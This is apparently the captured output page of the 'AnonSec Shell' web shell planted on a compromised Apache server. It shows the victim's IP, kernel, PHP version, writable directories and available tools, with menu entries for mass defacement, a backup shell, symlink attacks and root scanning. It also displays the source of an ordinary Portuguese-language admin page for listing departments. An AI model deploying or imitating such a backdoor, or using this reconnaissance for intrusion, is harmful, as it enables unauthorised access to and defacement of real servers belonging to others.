AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/siac/dev/admin/pages/departamentos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/siac/dev/admin/pages/departamentos/departamentos_g.php
<?php
//ini_set('display_errors', 1);
session_start();
$_usu_admin = $_SESSION['usu_admin'];
$departamentos = $connDb->select('departamentos')->all();
?>

<section class="content">
    <!-- INFORMACOES -->
    <div class="row">
        <div class="col-md-12">
            <div class="card">
                <div class="card-header" style="background-color: #605CA8; !important;">
                    <h4 class="title" style="color: white;">Deparatamento
                        <?php if ($_usu_admin == '1') { ?>
                            <a href="?page=departamentos/departamentos_n" title="Novo registro"
                               class="btn btn-success pull-right">
                                <i class="fa fa-plus-square"></i>
                            </a>
                        <?php } ?>
                    </h4>
                </div>
                <div class="card-content table-responsive">

                    <table id="dtabela" class="table table-bordered table-responsive table-hover">
                        <thead style="font-size: 12px;">
                        <tr>
                            <th style="width: 1%;">ID</th>
                            <th>Nome</th>
                            <th>Entidade</th>
                            <th>Responsável</th>
                            <th style="text-align: center; width: 1%;"></th>
                        </tr>
                        </thead>
                        <tbody style="font-size: 11px;">
                        <?php
                        foreach ($departamentos as $departamento) {
                            $entidade = $connDb->read('entidades', $departamento->cod_uo)->fetch();
                            $responsavel = $connDb->read('usuarios', $departamento->cod_resposanvel)->fetch();
                            echo "<tr>";
                            echo "<td>{$departamento->cod_depto}</td>";
                            echo "<td>{$departamento->depto_nome}</td>";
                            echo "<td>{$entidade->uo_nome}</td>";
                            echo "<td>{$responsavel->nome}</td>";
                            echo "<td class='text-center'>
                                    <a href='?page=departamentos/departamentos_e&id={$departamento->cod_depto}' class='botao_editar'>
                                      <i class='fa fa-eye' title='Visualizar Solicitações' style='font-size: 15px;'></i>
                                      </a>
                                  </td>";
                            echo "</tr>";
                        }
                        ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</section>

Anon7 - 2022
AnonSec Team